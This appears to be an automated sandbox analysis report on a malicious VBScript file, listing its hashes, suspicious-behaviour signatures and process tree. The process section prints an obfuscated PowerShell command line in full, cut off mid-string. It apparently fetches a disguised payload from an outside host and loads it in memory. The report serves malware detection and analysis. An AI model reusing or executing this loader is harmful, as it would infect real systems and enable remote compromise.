Analysis
-
max time kernel
121s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20231020-en -
resource tags
arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system -
submitted
07-12-2023 14:39
Static task
static1
Behavioral task
behavioral1
Sample
envifa.vbs
Resource
win7-20231020-en
Behavioral task
behavioral2
Sample
envifa.vbs
Resource
win10v2004-20231127-en
General
-
Target
envifa.vbs
-
Size
154KB
-
MD5
18bb62e29138d9c8dd098e5be9a4c13c
-
SHA1
5362535f49fee8fd7333be8fc6ea249deffa2eb9
-
SHA256
e0ad36136960203db1aea53780b49ef2c819ad31d68980822c4dff0d8dab1a14
-
SHA512
0a0e37dab52b3892a9148e40f12408256c8d8eb6dede9217bb47cda010ae672775bd88535b0ab94c6800b3e22ab7c53ae6e9fe8dcd790e9849cfb749fa5b77b8
-
SSDEEP
384:5UDkE9rQyhN65y//88tyLYtymNDycT+zjgyX4uynPivlytR/dJPfyFfhywzqggCq:j2Nek58Rc
Malware Config
Signatures
-
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 5 2704 powershell.exe 7 2704 powershell.exe 9 2704 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 2140 powershell.exe 2704 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2140 powershell.exe Token: SeDebugPrivilege 2704 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 2028 wrote to memory of 2140 2028 WScript.exe powershell.exe PID 2028 wrote to memory of 2140 2028 WScript.exe powershell.exe PID 2028 wrote to memory of 2140 2028 WScript.exe powershell.exe PID 2140 wrote to memory of 2704 2140 powershell.exe powershell.exe PID 2140 wrote to memory of 2704 2140 powershell.exe powershell.exe PID 2140 wrote to memory of 2704 2140 powershell.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'LgWOQNgdNPWgDJDsoWOQNgdNPWgDJDsCgWOQNgdNPWgDJDsVgBBWOQNgdNPWgDJDsHIWOQNgdNPWgDJDsSQBhWOQNgdNPWgDJDsGIWOQNgdNPWgDJDsbWOQNgdNPWgDJDsBFWOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsJwWOQNgdNPWgDJDsqWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsZWOQNgdNPWgDJDsBSWOQNgdNPWgDJDsCoWOQNgdNPWgDJDsJwWOQNgdNPWgDJDspWOQNgdNPWgDJDsC4WOQNgdNPWgDJDsTgBBWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsRQBbWOQNgdNPWgDJDsDMWOQNgdNPWgDJDsLWOQNgdNPWgDJDsWOQNgdNPWgDJDsxWOQNgdNPWgDJDsDEWOQNgdNPWgDJDsLWOQNgdNPWgDJDsWOQNgdNPWgDJDsyWOQNgdNPWgDJDsF0WOQNgdNPWgDJDsLQBKWOQNgdNPWgDJDsE8WOQNgdNPWgDJDsaQBuWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsJwWOQNgdNPWgDJDspWOQNgdNPWgDJDsCgWOQNgdNPWgDJDsKWOQNgdNPWgDJDsWOQNgdNPWgDJDsnWOQNgdNPWgDJDsFoWOQNgdNPWgDJDsMQBxWOQNgdNPWgDJDsGkWOQNgdNPWgDJDsbQBhWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsGcWOQNgdNPWgDJDsZQBVWOQNgdNPWgDJDsHIWOQNgdNPWgDJDsbWOQNgdNPWgDJDsWOQNgdNPWgDJDsgWOQNgdNPWgDJDsD0WOQNgdNPWgDJDsIWOQNgdNPWgDJDsWOQNgdNPWgDJDs5WOQNgdNPWgDJDsGcWOQNgdNPWgDJDsbWOQNgdNPWgDJDsBoWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsdWOQNgdNPWgDJDsBwWOQNgdNPWgDJDsHMWOQNgdNPWgDJDsOgWOQNgdNPWgDJDsvWOQNgdNPWgDJDsC8WOQNgdNPWgDJDsdQBwWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsbwBhWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsZWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsGkWOQNgdNPWgDJDsbQBhWOQNgdNPWgDJDsGcWOQNgdNPWgDJDsZQBuWOQNgdNPWgDJDsHMWOQNgdNPWgDJDsLgWOQNgdNPWgDJDsnWOQNgdNPWgDJDsCsWOQNgdNPWgDJDsJwBjWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsG8WOQNgdNPWgDJDsbQWOQNgdNPWgDJDsuWOQNgdNPWgDJDsGIWOQNgdNPWgDJDscgWOQNgdNPWgDJDsvWOQNgdNPWgDJDsGkWOQNgdNPWgDJDsbQBhWOQNgdNPWgDJDsGcWOQNgdNPWgDJDsZQBzWOQNgdNPWgDJDsC8WOQNgdNPWgDJDsMWOQNgdNPWgDJDsWOQNgdNPWgDJDswWOQNgdNPWgDJDsDQWOQNgdNPWgDJDsLwWOQNgdNPWgDJDs2WOQNgdNPWgDJDsDgWOQNgdNPWgDJDsMgWOQNgdNPWgDJDsvWOQNgdNPWgDJDsDcWOQNgdNPWgDJDsOQWOQNgdNPWgDJDs2WOQNgdNPWgDJDsC8WOQNgdNPWgDJDsbwByWOQNgdNPWgDJDsGkWOQNgdNPWgDJDsZwBpWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsYQBsWOQNgdNPWgDJDsC8WOQNgdNPWgDJDsZWOQNgdNPWgDJDsBsWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsLgBqWOQNgdNPWgDJDsHWOQNgdNPWgDJDsWOQNgdNPWgDJDsZwWOQNgdNPWgDJDs/WOQNgdNPWgDJDsDEWOQNgdNPWgDJDsNwWOQNgdNPWgDJDswWOQNgdNPWgDJDsDEWOQNgdNPWgDJDsNwWOQNgdNPWgDJDs5WOQNgdNPWgDJDsDMWOQNgdNPWgDJDsOQWOQNgdNPWgDJDs2WOQNgdNPWgDJDsDUWOQNgdNPWgDJDsOQBnWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsOwBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQB3WOQNgdNPWgDJDsGUWOQNgdNPWgDJDsYgBDWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsaQBlWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsdWOQNgdNPWgDJDsWOQNgdNPWgDJDsgWOQNgdNPWgDJDsD0WOQNgdNPWgDJDsIWOQNgdNPWgDJDsBOWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsdwWOQNgdNPWgDJDstWOQNgdNPWgDJDsE8WOQNgdNPWgDJDsYgBqWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsYwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsCsWOQNgdNPWgDJDsJwB0WOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsUwB5WOQNgdNPWgDJDsHMWOQNgdNPWgDJDsdWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsLgBOWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsdWOQNgdNPWgDJDsWOQNgdNPWgDJDsuWOQNgdNPWgDJDsFcWOQNgdNPWgDJDsZQBiWOQNgdNPWgDJDsEMWOQNgdNPWgDJDsJwWOQNgdNPWgDJDsrWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsbWOQNgdNPWgDJDsBpWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsbgB0WOQNgdNPWgDJDsDsWOQNgdNPWgDJDsWgWOQNgdNPWgDJDsxWOQNgdNPWgDJDsHEWOQNgdNPWgDJDsaQBtWOQNgdNPWgDJDsGEWOQNgdNPWgDJDsZwBlWOQNgdNPWgDJDsEIWOQNgdNPWgDJDseQB0WOQNgdNPWgDJDsGUWOQNgdNPWgDJDscwWOQNgdNPWgDJDsgWOQNgdNPWgDJDsD0WOQNgdNPWgDJDsIWOQNgdNPWgDJDsBaWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQB3WOQNgdNPWgDJDsGUWOQNgdNPWgDJDsYgBDWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsaQBlWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsdWOQNgdNPWgDJDsWOQNgdNPWgDJDsuWOQNgdNPWgDJDsEQWOQNgdNPWgDJDsbwB3WOQNgdNPWgDJDsG4WOQNgdNPWgDJDsbWOQNgdNPWgDJDsBvWOQNgdNPWgDJDsGEWOQNgdNPWgDJDsZWOQNgdNPWgDJDsBEWOQNgdNPWgDJDsGEWOQNgdNPWgDJDsdWOQNgdNPWgDJDsBhWOQNgdNPWgDJDsCgWOQNgdNPWgDJDsWgWOQNgdNPWgDJDsxWOQNgdNPWgDJDsHEWOQNgdNPWgDJDsaQBtWOQNgdNPWgDJDsGEWOQNgdNPWgDJDsZwBlWOQNgdNPWgDJDsFUWOQNgdNPWgDJDscgBsWOQNgdNPWgDJDsCkWOQNgdNPWgDJDsOwBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBpWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsYQBnWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsVWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsHgWOQNgdNPWgDJDsdWOQNgdNPWgDJDsWOQNgdNPWgDJDsgWOQNgdNPWgDJDsD0WOQNgdNPWgDJDsIWOQNgdNPWgDJDsBbWOQNgdNPWgDJDsFMWOQNgdNPWgDJDseQBzWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsZQBtWOQNgdNPWgDJDsC4WOQNgdNPWgDJDsVWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsHgWOQNgdNPWgDJDsdWOQNgdNPWgDJDsWOQNgdNPWgDJDsuWOQNgdNPWgDJDsEUWOQNgdNPWgDJDsbgBjWOQNgdNPWgDJDsG8WOQNgdNPWgDJDsZWOQNgdNPWgDJDsBpWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsZwBdWOQNgdNPWgDJDsDoWOQNgdNPWgDJDsOgBVWOQNgdNPWgDJDsFQWOQNgdNPWgDJDsRgWOQNgdNPWgDJDs4WOQNgdNPWgDJDsC4WOQNgdNPWgDJDsRwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsCsWOQNgdNPWgDJDsJwBlWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsUwB0WOQNgdNPWgDJDsHIWOQNgdNPWgDJDsaQBuWOQNgdNPWgDJDsGcWOQNgdNPWgDJDsKWOQNgdNPWgDJDsBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBpWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsYQBnWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsQgB5WOQNgdNPWgDJDsHQWOQNgdNPWgDJDsZQBzWOQNgdNPWgDJDsCkWOQNgdNPWgDJDsOwBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBzWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsYQByWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsRgBsWOQNgdNPWgDJDsGEWOQNgdNPWgDJDsZwWOQNgdNPWgDJDsgWOQNgdNPWgDJDsD0WOQNgdNPWgDJDsIWOQNgdNPWgDJDsWOQNgdNPWgDJDs5WOQNgdNPWgDJDsGcWOQNgdNPWgDJDsbWOQNgdNPWgDJDsWOQNgdNPWgDJDs8WOQNgdNPWgDJDsDwWOQNgdNPWgDJDsQgBBWOQNgdNPWgDJDsFMWOQNgdNPWgDJDsRQWOQNgdNPWgDJDs2WOQNgdNPWgDJDsDQWOQNgdNPWgDJDsXwBTWOQNgdNPWgDJDsFQWOQNgdNPWgDJDsQQBSWOQNgdNPWgDJDsFQWOQNgdNPWgDJDsPgWOQNgdNPWgDJDs+WOQNgdNPWgDJDsDkWOQNgdNPWgDJDsZwBsWOQNgdNPWgDJDsDsWOQNgdNPWgDJDsWgWOQNgdNPWgDJDsxWOQNgdNPWgDJDsHEWOQNgdNPWgDJDsZQBuWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsRgBsWOQNgdNPWgDJDsGEWOQNgdNPWgDJDsZwWOQNgdNPWgDJDsgWOQNgdNPWgDJDsD0WOQNgdNPWgDJDsIWOQNgdNPWgDJDsWOQNgdNPWgDJDs5WOQNgdNPWgDJDsGcWOQNgdNPWgDJDsJwWOQNgdNPWgDJDsrWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsbWOQNgdNPWgDJDsWOQNgdNPWgDJDs8WOQNgdNPWgDJDsDwWOQNgdNPWgDJDsQgBBWOQNgdNPWgDJDsFMWOQNgdNPWgDJDsRQWOQNgdNPWgDJDs2WOQNgdNPWgDJDsDQWOQNgdNPWgDJDsXwBFWOQNgdNPWgDJDsE4WOQNgdNPWgDJDsRWOQNgdNPWgDJDsWOQNgdNPWgDJDs+WOQNgdNPWgDJDsD4WOQNgdNPWgDJDsOQBnWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsOwBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBzWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsYQByWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsSQBuWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsZQB4WOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsPQWOQNgdNPWgDJDsgWOQNgdNPWgDJDsFoWOQNgdNPWgDJDsMQBxWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsGkWOQNgdNPWgDJDsbQBhWOQNgdNPWgDJDsGcWOQNgdNPWgDJDsZQBUWOQNgdNPWgDJDsGUWOQNgdNPWgDJDseWOQNgdNPWgDJDsB0WOQNgdNPWgDJDsC4WOQNgdNPWgDJDsSQBuWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsZQB4WOQNgdNPWgDJDsE8WOQNgdNPWgDJDsZgWOQNgdNPWgDJDsoWOQNgdNPWgDJDsFoWOQNgdNPWgDJDsMQBxWOQNgdNPWgDJDsHMWOQNgdNPWgDJDsdWOQNgdNPWgDJDsBhWOQNgdNPWgDJDsHIWOQNgdNPWgDJDsdWOQNgdNPWgDJDsBGWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsYQBnWOQNgdNPWgDJDsCkWOQNgdNPWgDJDsOwBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBlWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsZWOQNgdNPWgDJDsBJWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsZWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsHgWOQNgdNPWgDJDsIWOQNgdNPWgDJDsWOQNgdNPWgDJDs9WOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsWgWOQNgdNPWgDJDsxWOQNgdNPWgDJDsHEWOQNgdNPWgDJDsaQBtWOQNgdNPWgDJDsGEWOQNgdNPWgDJDsZwBlWOQNgdNPWgDJDsFQWOQNgdNPWgDJDsZQB4WOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsLgBJWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsZWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsHgWOQNgdNPWgDJDsTwBmWOQNgdNPWgDJDsCgWOQNgdNPWgDJDsWgWOQNgdNPWgDJDsxWOQNgdNPWgDJDsHEWOQNgdNPWgDJDsZQBuWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsRgBsWOQNgdNPWgDJDsGEWOQNgdNPWgDJDsZwWOQNgdNPWgDJDspWOQNgdNPWgDJDsDsWOQNgdNPWgDJDsWgWOQNgdNPWgDJDsxWOQNgdNPWgDJDsHEWOQNgdNPWgDJDscwB0WOQNgdNPWgDJDsGEWOQNgdNPWgDJDscgB0WOQNgdNPWgDJDsEkWOQNgdNPWgDJDsbgBkWOQNgdNPWgDJDsGUWOQNgdNPWgDJDseWOQNgdNPWgDJDsWOQNgdNPWgDJDsgWOQNgdNPWgDJDsC0WOQNgdNPWgDJDsZwBlWOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsMWOQNgdNPWgDJDsWOQNgdNPWgDJDsgWOQNgdNPWgDJDsC0WOQNgdNPWgDJDsYQBuWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsIWOQNgdNPWgDJDsBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBlWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsZWOQNgdNPWgDJDsBJWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsZWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsHgWOQNgdNPWgDJDsIWOQNgdNPWgDJDsWOQNgdNPWgDJDstWOQNgdNPWgDJDsGcWOQNgdNPWgDJDsdWOQNgdNPWgDJDsWOQNgdNPWgDJDsgWOQNgdNPWgDJDsFoWOQNgdNPWgDJDsJwWOQNgdNPWgDJDsrWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsMQWOQNgdNPWgDJDsnWOQNgdNPWgDJDsCsWOQNgdNPWgDJDsJwBxWOQNgdNPWgDJDsHMWOQNgdNPWgDJDsdWOQNgdNPWgDJDsBhWOQNgdNPWgDJDsHIWOQNgdNPWgDJDsdWOQNgdNPWgDJDsBJWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsZWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsHgWOQNgdNPWgDJDsOwBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBzWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsYQByWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsSQBuWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsZQB4WOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsKwWOQNgdNPWgDJDs9WOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsWgWOQNgdNPWgDJDsxWOQNgdNPWgDJDsHEWOQNgdNPWgDJDscwB0WOQNgdNPWgDJDsGEWOQNgdNPWgDJDscgB0WOQNgdNPWgDJDsEYWOQNgdNPWgDJDsbWOQNgdNPWgDJDsBhWOQNgdNPWgDJDsGcWOQNgdNPWgDJDsLgBMWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsbgBnWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsaWOQNgdNPWgDJDsWOQNgdNPWgDJDs7WOQNgdNPWgDJDsFoWOQNgdNPWgDJDsMQBxWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsGIWOQNgdNPWgDJDsYQBzWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsNgWOQNgdNPWgDJDs0WOQNgdNPWgDJDsEwWOQNgdNPWgDJDsZQBuWOQNgdNPWgDJDsGcWOQNgdNPWgDJDsdWOQNgdNPWgDJDsBoWOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsPQWOQNgdNPWgDJDsgWOQNgdNPWgDJDsFoWOQNgdNPWgDJDsMQBxWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsbgBkWOQNgdNPWgDJDsEkWOQNgdNPWgDJDsbgBkWOQNgdNPWgDJDsGUWOQNgdNPWgDJDseWOQNgdNPWgDJDsWOQNgdNPWgDJDsgWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsC0WOQNgdNPWgDJDsIWOQNgdNPWgDJDsBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBzWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsYQByWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsSQBuWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsZQWOQNgdNPWgDJDsnWOQNgdNPWgDJDsCsWOQNgdNPWgDJDsJwB4WOQNgdNPWgDJDsDsWOQNgdNPWgDJDsWgWOQNgdNPWgDJDsxWOQNgdNPWgDJDsHEWOQNgdNPWgDJDsYgBhWOQNgdNPWgDJDsHMWOQNgdNPWgDJDsZQWOQNgdNPWgDJDs2WOQNgdNPWgDJDsDQWOQNgdNPWgDJDsQwBvWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsbQBhWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsZWOQNgdNPWgDJDsWOQNgdNPWgDJDsgWOQNgdNPWgDJDsD0WOQNgdNPWgDJDsIWOQNgdNPWgDJDsBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBpWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsYQBnWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsVWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsHgWOQNgdNPWgDJDsdWOQNgdNPWgDJDsWOQNgdNPWgDJDsuWOQNgdNPWgDJDsFMWOQNgdNPWgDJDsdQBiWOQNgdNPWgDJDsHMWOQNgdNPWgDJDsdWOQNgdNPWgDJDsByWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsGkWOQNgdNPWgDJDsbgBnWOQNgdNPWgDJDsCgWOQNgdNPWgDJDsWgWOQNgdNPWgDJDsxWOQNgdNPWgDJDsHEWOQNgdNPWgDJDscwB0WOQNgdNPWgDJDsGEWOQNgdNPWgDJDscgB0WOQNgdNPWgDJDsEkWOQNgdNPWgDJDsbgBkWOQNgdNPWgDJDsGUWOQNgdNPWgDJDseWOQNgdNPWgDJDsWOQNgdNPWgDJDssWOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsWgWOQNgdNPWgDJDsxWOQNgdNPWgDJDsHEWOQNgdNPWgDJDsYgBhWOQNgdNPWgDJDsHMWOQNgdNPWgDJDsZQWOQNgdNPWgDJDs2WOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsDQWOQNgdNPWgDJDsTWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsZwB0WOQNgdNPWgDJDsGgWOQNgdNPWgDJDsKQWOQNgdNPWgDJDs7WOQNgdNPWgDJDsFoWOQNgdNPWgDJDsJwWOQNgdNPWgDJDsrWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsMQBxWOQNgdNPWgDJDsGMWOQNgdNPWgDJDsbwBtWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsYQBuWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsQgWOQNgdNPWgDJDsnWOQNgdNPWgDJDsCsWOQNgdNPWgDJDsJwB5WOQNgdNPWgDJDsHQWOQNgdNPWgDJDsZQBzWOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsPQWOQNgdNPWgDJDsgWOQNgdNPWgDJDsFsWOQNgdNPWgDJDsUwB5WOQNgdNPWgDJDsHMWOQNgdNPWgDJDsdWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsLgBDWOQNgdNPWgDJDsG8WOQNgdNPWgDJDsbgB2WOQNgdNPWgDJDsGUWOQNgdNPWgDJDscgB0WOQNgdNPWgDJDsF0WOQNgdNPWgDJDsJwWOQNgdNPWgDJDsrWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsOgWOQNgdNPWgDJDs6WOQNgdNPWgDJDsCcWOQNgdNPWgDJDsKwWOQNgdNPWgDJDsnWOQNgdNPWgDJDsEYWOQNgdNPWgDJDsJwWOQNgdNPWgDJDsrWOQNgdNPWgDJDsCcWOQNgdNPWgDJDscgBvWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsQgBhWOQNgdNPWgDJDsHMWOQNgdNPWgDJDsZQWOQNgdNPWgDJDs2WOQNgdNPWgDJDsDQWOQNgdNPWgDJDsUwB0WOQNgdNPWgDJDsHIWOQNgdNPWgDJDsaQBuWOQNgdNPWgDJDsGcWOQNgdNPWgDJDsKWOQNgdNPWgDJDsBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBiWOQNgdNPWgDJDsGEWOQNgdNPWgDJDscwBlWOQNgdNPWgDJDsDYWOQNgdNPWgDJDsNWOQNgdNPWgDJDsBDWOQNgdNPWgDJDsG8WOQNgdNPWgDJDsbQBtWOQNgdNPWgDJDsGEWOQNgdNPWgDJDsbgBkWOQNgdNPWgDJDsCkWOQNgdNPWgDJDsOwBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQBsWOQNgdNPWgDJDsG8WOQNgdNPWgDJDsYQBkWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsZWOQNgdNPWgDJDsBBWOQNgdNPWgDJDsHMWOQNgdNPWgDJDscwBlWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsYgBsWOQNgdNPWgDJDsHkWOQNgdNPWgDJDsJwWOQNgdNPWgDJDsrWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsIWOQNgdNPWgDJDsWOQNgdNPWgDJDs9WOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsWwBTWOQNgdNPWgDJDsHkWOQNgdNPWgDJDscwB0WOQNgdNPWgDJDsGUWOQNgdNPWgDJDsbQWOQNgdNPWgDJDsuWOQNgdNPWgDJDsFIWOQNgdNPWgDJDsJwWOQNgdNPWgDJDsrWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsZQBmWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsZQBjWOQNgdNPWgDJDsHQWOQNgdNPWgDJDsaQBvWOQNgdNPWgDJDsG4WOQNgdNPWgDJDsLgBBWOQNgdNPWgDJDsHMWOQNgdNPWgDJDscwBlWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsYgBsWOQNgdNPWgDJDsHkWOQNgdNPWgDJDsXQWOQNgdNPWgDJDs6WOQNgdNPWgDJDsDoWOQNgdNPWgDJDsTWOQNgdNPWgDJDsBvWOQNgdNPWgDJDsGEWOQNgdNPWgDJDsZWOQNgdNPWgDJDsWOQNgdNPWgDJDsoWOQNgdNPWgDJDsFoWOQNgdNPWgDJDsMQBxWOQNgdNPWgDJDsGMWOQNgdNPWgDJDsbwBtWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsYQBuWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsQgB5WOQNgdNPWgDJDsHQWOQNgdNPWgDJDsZQBzWOQNgdNPWgDJDsCkWOQNgdNPWgDJDsOwBaWOQNgdNPWgDJDsDEWOQNgdNPWgDJDscQB0WOQNgdNPWgDJDsHkWOQNgdNPWgDJDscWOQNgdNPWgDJDsBlWOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsPQWOQNgdNPWgDJDsgWOQNgdNPWgDJDsFoWOQNgdNPWgDJDsMQBxWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsbwBhWOQNgdNPWgDJDsGQWOQNgdNPWgDJDsZQBkWOQNgdNPWgDJDsEEWOQNgdNPWgDJDscwBzWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsbQWOQNgdNPWgDJDsnWOQNgdNPWgDJDsCsWOQNgdNPWgDJDsJwBiWOQNgdNPWgDJDsGwWOQNgdNPWgDJDseQWOQNgdNPWgDJDsuWOQNgdNPWgDJDsEcWOQNgdNPWgDJDsZQB0WOQNgdNPWgDJDsFQWOQNgdNPWgDJDseQBwWOQNgdNPWgDJDsGUWOQNgdNPWgDJDsKWOQNgdNPWgDJDsWOQNgdNPWgDJDs5WOQNgdNPWgDJDsGcWOQNgdNPWgDJDsbWOQNgdNPWgDJDsBDWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsYQBzWOQNgdNPWgDJDsHMWOQNgdNPWgDJDsTWOQNgdNPWgDJDsBpWOQNgdNPWgDJDsGIWOQNgdNPWgDJDscgBhWOQNgdNPWgDJDsHIWOQNgdNPWgDJDseQWOQNgdNPWgDJDszWOQNgdNPWgDJDsC4WOQNgdNPWgDJDsQwBsWOQNgdNPWgDJDsGEWOQNgdNPWgDJDscwBzWOQNgdNPWgDJDsDEWOQNgdNPWgDJDsOQBnWOQNgdNPWgDJDsGwWOQNgdNPWgDJDsKQWOQNgdNPWgDJDs7WOQNgdNPWgDJDsFoWOQNgdNPWgDJDsJwWOQNgdNPWgDJDsrWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsMQBxWOQNgdNPWgDJDsG0WOQNgdNPWgDJDsJwWOQNgdNPWgDJDsrWOQNgdNPWgDJDsCcWOQNgdNPWgDJDsZQB0WOQNgdNPWgDJDsGgWOQNgdNPWgDJDsbwBkWOQNgdNPWgDJDsCWOQNgdNPWgDJDsWOQNgdNPWgDJDsPQWOQNgdNPWgDJDsgWOQNg